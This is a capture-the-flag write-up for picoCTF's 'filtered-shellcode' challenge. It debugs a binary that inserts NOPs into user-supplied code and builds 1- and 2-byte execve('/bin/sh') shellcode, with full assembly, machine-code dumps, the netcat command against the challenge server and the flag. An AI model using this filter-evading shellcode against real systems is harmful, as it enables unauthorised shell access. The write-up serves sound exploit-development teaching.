filtered-shellcode
7 minutes to read
We are given a 32-bit binary called fun
:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
We do not have the C source code. This time, instead of reversing the binary using tools like Ghidra, we will analyze it with GDB.
First let’s execute the program:
$ ./fun
Give me code to run:
asdf
zsh: segmentation fault (core dumped) ./fun
It seems that the program is requesting code and it will run it. It crashed because asdf
is not a valid instruction.
Let’s generate two breakpoint instructions (SIGTRAP, int3
as an assembly instruction) using asm
from pwntools
:
$ pwn asm 'int3; int3'
cccc
$ pwn asm 'int3; int3' -o code
$ xxd code
00000000: cccc ..
We can start GDB and run the program with this code:
$ gdb -q fun
Reading symbols from fun...
(No debugging symbols found in fun)
gef➤ run < code
Starting program: ./fun < code
Give me code to run:
Program received signal SIGTRAP, Trace/breakpoint trap.
0xffffcc01 in ?? ()
Nice, it stopped in a breakpoint. Let’s check the next instructions from $eip
(minus one to examine from the first breakpoint instruction):
gef➤ x/10i $eip - 1
0xffffcc00: int3
=> 0xffffcc01: int3
0xffffcc02: nop
0xffffcc03: nop
0xffffcc04: (bad)
0xffffcc05: call DWORD PTR [eax-0x6f000070]
0xffffcc0b: nop
0xffffcc0c: (bad)
0xffffcc0d: call DWORD PTR [eax-0x6f000070]
0xffffcc13: nop
0xffffcc14: (bad)
gef➤ x/10x $eip - 1
0xffffcc01: 0x9090cccc 0x9090ffff 0x9090ffff 0x9090ffff
0xffffcc11: 0x9090ffff 0x9090ffff 0x9090ffff 0x9090ffff
0xffffcc21: 0x9090ffff 0x9090ffff
This looks a little weird. Let’s are more dummy code and check again:
$ echo -ne '\xcc\xccABCDEFGHIJKL' > code
$ xxd code
00000000: cccc 41 4243 4445 4647 4849 4a4b 4c ..ABCDEFGHIJKL
gef➤ run < code
Starting program: ./fun < code
Give me code to run:
Program received signal SIGTRAP, Trace/breakpoint trap.
0xffffcc01 in ?? ()
gef➤ x/10x $eip - 1
0xffffcc00: 0x9090cccc 0x90904241 0x90904443 0x90904645
0xffffcc10: 0x90904847 0x90904a49 0x90904c4b 0x9090ffff
0xffffcc20: 0x9090ffff 0x9090ffff
Now we see what the program is actually doing: it is taking our code and putting two nop
operations (\x90\x90
) between every byte of our code.
The nop
instruction does nothing, so it not so problematic. However, it limits that our provided instructions must have 1 or 2 bytes (otherwise, the two nop
instructions will break the instruction that are more than 2 bytes long).
The classic shellcode to spawn a shell is similar to this one:
xor ecx, ecx # 31 c9 => $ecx = 0
xor edx, edx # 31 d2 => $edx = 0
xor eax, eax # 31 c0 => $eax = 0
mov al, 0xb # b0 0b => $eax = 0xb
push 0x68732f # 68 2f 2f 73 00 => Push "/sh\0"
push 0x6e69622f # 68 2f 62 69 6e => Push "/bin"
mov ebx, esp # 89 e3 => $ebx = *"/bin/sh\0"
int 0x80 # cd 80 => Call execve
The problem of this shellcode is the process of pushing "/bin/sh\0"
onto the stack, since it uses 5-byte instructions. Hence, we need to somehow push "/bin/sh\0"
onto the stack but using only 1-byte or 2-byte instructions.
One way I came up with is storing the string byte by byte. We can use instructions like mov al, 0x2f
to store a single byte in $eax
using a 2-byte instruction, and then shift it to the next byte position.
For example, for "/sh\0"
, the idea is the following:
push 8 # 6a 08
nop # 90
pop ecx # 59 => $ecx = 8
xor eax, eax # 31 c0 => $eax = 0
mov al, 0x68 # b0 68 => $eax = 0x00000068
shl eax, ecx # d3 e0 => $eax = 0x00006800
mov al, 0x73 # b0 73 => $eax = 0x00006873
shl eax, ecx # d3 e0 => $eax = 0x00687300
mov al, 0x2f # b0 2f => $eax = 0x0068732f ("/sh\0")
nop # 90
push eax # 50 => Push "/sh\0"
As shown above, we are using shl eax, ecx
to store in $eax
the current value of $eax
shifted $ecx
bits to the left. And inside $ecx
we have 8, so the instruction shl eax, ecx
will shift $eax
a single byte to the left. Hence, we are accumulating the string in $eax
.
The use of nop
before the pop
and the push
instructions (1-byte length) is due to the fact that the program will add two nop
instructions between every two bytes. If we do not put that nop
instruction, then the next 2-byte instruction will be splitted in two parts (and therefore broken).
We can follow a similar process to have "/bin"
into the stack. And finally, add these stages to the previous shellcode.
This is the final code that will spawn a shell using execve("/bin/sh", 0, 0)
:
push 8 # 6a 08
nop # 90
pop ecx # 59 => $ecx = 8
xor eax, eax # 31 c0 => $eax = 0
mov al, 0x68 # b0 68 => $eax = 0x00000068
shl eax, ecx # d3 e0 => $eax = 0x00006800
mov al, 0x73 # b0 73 => $eax = 0x00006873
shl eax, ecx # d3 e0 => $eax = 0x00687300
mov al, 0x2f # b0 2f => $eax = 0x0068732f ("/sh\0")
nop # 90
push eax # 50 => Push "/sh\0"
xor eax, eax # 31 c0 => $eax = 0
mov al, 0x6e # b0 6e => $eax = 0x0000006e
shl eax, ecx # d3 e0 => $eax = 0x00006e00
mov al, 0x69 # b0 69 => $eax = 0x00006e69
shl eax, ecx # d3 e0 => $eax = 0x006e6900
mov al, 0x62 # b0 62 => $eax = 0x006e6962
shl eax, ecx # d3 e0 => $eax = 0x6e696200
mov al, 0x2f # b0 2f => $eax = 0x6e69622f ("/bin")
nop # 90
push eax # 50 => Push "/bin"
xor ecx, ecx # 31 c9 => $ecx = 0
xor edx, edx # 31 d2 => $edx = 0
xor eax, eax # 31 c0 => $eax = 0
mov al, 0x0b # b0 0b => $eax = 0x0b
mov ebx, esp # 89 e3 => $ebx = *"/bin/sh\0"
int 0x80 # cd 80 => execve
The file is called code.asm
, we can translate it to machine code using asm
from pwntools
again:
$ pwn asm -i code.asm -o code
$ xxd code
00000000: 6a08 9059 31c0 b068 d3e0 b073 d3e0 b02f j..Y1..h...s.../
00000010: 9050 31c0 b06e d3e0 b069 d3e0 b062 d3e0 .P1..n...i...b..
00000020: b02f 9050 31c9 31d2 31c0 b00b 89e3 cd80 ./.P1.1.1.......
$ wc -c code
48 code
It is a relatively short shellcode. Let’s see if it works:
$ (cat code; echo; cat) | ./fun
Give me code to run:
ls
code code.asm fun
Perfect, it has worked smoothly. Notice that we needed to use an echo
command to add a new line character to the payload and another cat
command to keep the shell active.
Now we can try this code on server side and get the flag:
$ (cat code; echo; cat) | nc mercury.picoctf.net 16460
Give me code to run:
ls
flag.txt
fun
fun.c
xinet_startup.sh
cat flag.txt
picoCTF{th4t_w4s_fun_f1ed6f7952ff4071}
I continued working on the shellcode. Finally, I came up with a shorter one using 16 bits shifting and registers $ah
, $al
, $bh
and $bl
for the mov
instructions (fragments of $eax
and $ebx
register):
push 16 # 6a 10
nop # 90
pop ecx # 59 => $ecx = 16
xor eax, eax # 31 c0 => $eax = 0x00000000
mov al, 0x68 # b0 68 => $eax = 0x00000068
shl eax, ecx # d3 e0 => $eax = 0x00680000
mov ah, 0x73 # b4 73 => $eax = 0x00687300
mov al, 0x2f # b0 2f => $eax = 0x0068732f ("/sh\0")
mov bh, 0x6e # b7 6e => $ebx = 0x____6e__
mov bl, 0x69 # b3 69 => $ebx = 0x____6e69
shl ebx, ecx # d3 e3 => $ebx = 0x6e690000
mov bh, 0x62 # b7 62 => $ebx = 0x6e696200
mov bl, 0x2f # b3 2f => $ebx = 0x6e69622f ("/bin")
push eax # 50 => Push "/sh\0"
push ebx # 53 => Push "/bin"
xor ecx, ecx # 31 c9 => $ecx = 0
xor edx, edx # 31 d2 => $edx = 0
xor eax, eax # 31 c0 => $eax = 0
mov al, 0x0b # b0 0b => $eax = 0x0b
mov ebx, esp # 89 e3 => $ebx = *"/bin/sh\0"
int 0x80 # cd 80 => execve
The generated machine code is only 38 bytes long.